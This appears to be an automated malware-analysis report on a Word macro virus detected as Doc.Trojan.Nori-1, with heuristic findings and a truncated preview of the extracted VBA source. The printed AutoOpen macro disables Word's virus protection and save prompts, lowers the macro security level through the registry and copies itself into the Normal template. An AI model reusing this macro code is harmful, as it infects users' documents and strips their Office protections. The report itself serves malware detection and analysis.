MALICIOUS
240
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
The sample is a legacy Word document containing VBA macros, including AutoOpen and Auto_Close, which are commonly used to execute malicious code upon opening or closing the document. The 'Unit' module's 'ToN' subroutine attempts to save the NormalTemplate and then delete a file named 'Iron.tmp' from the C drive, indicating a payload drop. ClamAV detection further confirms its malicious nature.
Heuristics 5
-
ClamAV: Doc.Trojan.Nori-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Nori-1
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 12032 bytes |
SHA-256: af8bc2a506ebfc85ed86448326bff8f3563f201cffc9c6ca3c85d2e41b55af53 |
|||
|
Detection
ClamAV:
Doc.Trojan.Nori-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "Unit"
Private Sub ToN()
'Iron
On Error Resume Next
file = "c:\Iron.tmp"
Un = "Unit"
With NormalTemplate.VBProject.VBComponents
'8
NormalTemplate.Save
Kill (file)
End With
End Sub
Private Sub ToA()
On Error Resume Next
file = "c:\Iron.tmp"
Un = "Unit"
With ActiveDocument.VBProject.VBComponents
'18
ActiveDocument.SaveAs ActiveDocument.FullName
Kill (file)
End With
End Sub
Sub AutoOpen()
On Error Resume Next
If Options.VirusProtection Then Options.VirusProtection = Not Options.VirusProtection
If Options.ConfirmConversions Then Options.ConfirmConversions = Not Options.ConfirmConversions
If Options.SaveNormalPrompt Then Options.SaveNormalPrompt = Not Options.SaveNormalPrompt
System.PrivateProfileString("", "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\9.0\Word\Security", "Level") = 1
file = "c:\Iron.tmp"
Un = "Unit"
If NormalTemplate.VBProject.VBComponents.Item(Un).CodeModule.Lines(2, 1) <> "'Iron" T
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.